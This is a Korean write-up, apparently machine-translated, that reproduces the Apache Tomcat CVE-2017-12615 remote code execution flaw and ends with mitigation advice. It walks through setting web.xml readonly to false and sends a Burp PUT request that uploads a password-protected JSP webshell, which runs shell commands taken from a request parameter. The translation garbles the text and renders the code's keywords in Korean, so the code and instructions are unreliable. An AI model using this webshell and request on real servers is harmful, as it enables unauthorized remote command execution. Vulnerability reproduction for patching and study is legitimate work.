한 배경
2017년 9월 19일은 아파치 톰캣 관계자는 식별이 위험도가 높은 취약성을 수정, 원격 코드 실행 취약점 (CVE-2017-12615)가 Windows 호스트에서 실행중인 톰캣에 허점이 있고, 활성화 된 HTTP의 PUT이 서버 구성 파일이 어떤 DIAM의 JSP를 포함에 악성 방문자가 요청한 요청 방법은 임의의 코드 실행, 매우 심각한 피해의 결과로 업로드합니다.
둘째, 스코프
아파치 톰캣 7.0.0-7.0.81
셋째, 테스트 환경
윈도우 7
아파치 톰캣 7.0.56
JDK
넷째, 취약성 재생
톰캣 버전 7.0.56 다운로드 취약점
https://archive.apache.org/dist/tomcat/tomcat-7/v7.0.56/bin/
시스템의 자신의 버전에 따르면 해당 설치 패키지를 선택합니다
설치
그것은 JDK 환경이 필요합니다
방문 에 http : // localhost를 : 8080 다음 페이지는 설치가 완료입니다 얻을.
열기의 conf / web.xml 파일을 완료 한 후, 기본 읽기 전용이 참, 실시 HTTP의 PUT을 금지하고 요청 유형을 삭제 :
은 web.xml이 읽기 전용 false로 설정하면 파일이 PUT을 통해 조작 할 수 있습니다 / 취약점을 트리거 삭제합니다.
은 web.xml의 읽기 전용 인수가 false 수정합니다.
문구와 결합이 위치를 찾기
<INIT-PARAM>
<PARAM 이름> 읽기 전용 <PARAM 이름>
<PARAM 이름> 거짓 <PARAM 이름>
</ INIT-PARAM>
바람둥이 시작 burpsuite 보내 WEBSHELL을 사용하여 구성
/1.jsp/ PUT HTTP / 1.1 호스트 : 192.168.243.129:8080 사용자 -agent : 모질라 / 5.0 (윈도우 NT 10.0; Win64를, 64 장, : 69.0) 게코 / 20100101 파이어 폭스 / 69.0 수락 : text / html과, 응용 프로그램 / XHTML + XML, 응용 프로그램 / XML, Q = 0.9, * / * ; q를 = 0.8 수락 - 언어들 ko-CN,에서 zh, Q = 0.8에서 zh-TW, Q = 0.7에서 zh-HK를, Q = 0.5, EN - 미국; Q = 0.3, EN; Q = 0.2 수락 - 인코딩 : GZIP을 수축 연결 닫기 업그레이드 - 비보안 요청-1 콘텐츠 길이 : 660 <% @ 페이지 언어 = "자바"수입 = "java.util의. *는 java.io *"pageEncoding = "UTF-8"%> <%! 공공 정적 문자열 excuteCmd (문자열 C) {의 StringBuilder 라인 = 새의 StringBuilder ();. {프로세스 프로 = Runtime.getRuntime () 간부 (c)를 시도, BufferedReader로 버피 = 새로운 BufferedReader로 (새로운 InputStreamReader (pro.getInputStream ())); 문자열 온도 = NULL을, 동안 ((온도 = buf.readLine ( )) = NULL) {line.append (TEMP! + "\\ N");} buf.close ();} 캐치 (예외 E) {line.append (e.getMessage ());} 리턴 line.toString ()} %> <% ( "023".equals (request.getParameter ( "PWD")) && "cmd를")) {out.println (! "와 동일 (request.getParameter (.") "<경우 사전 > "+ excuteCmd (request.getParameter ("cmd를 ")) +"</ 사전> ")한다} else {out.println (":-) ")} %>
다음 주소 확인 조랑말을 방문
다섯째, 수정 제안
- 읽기 전용 구성 파라미터는 참 또는 주석이고, PUT 방법 재시작 톰캣의 사용을 금지. 당신이 의존 PUT 방법의 응용 프로그램에 대한 PUT 메소드를 사용하지 않으면 작동하지 응용 프로그램이 발생할 수 있습니다.
- 패치의 최신 버전으로 공식 업그레이드에 따르면.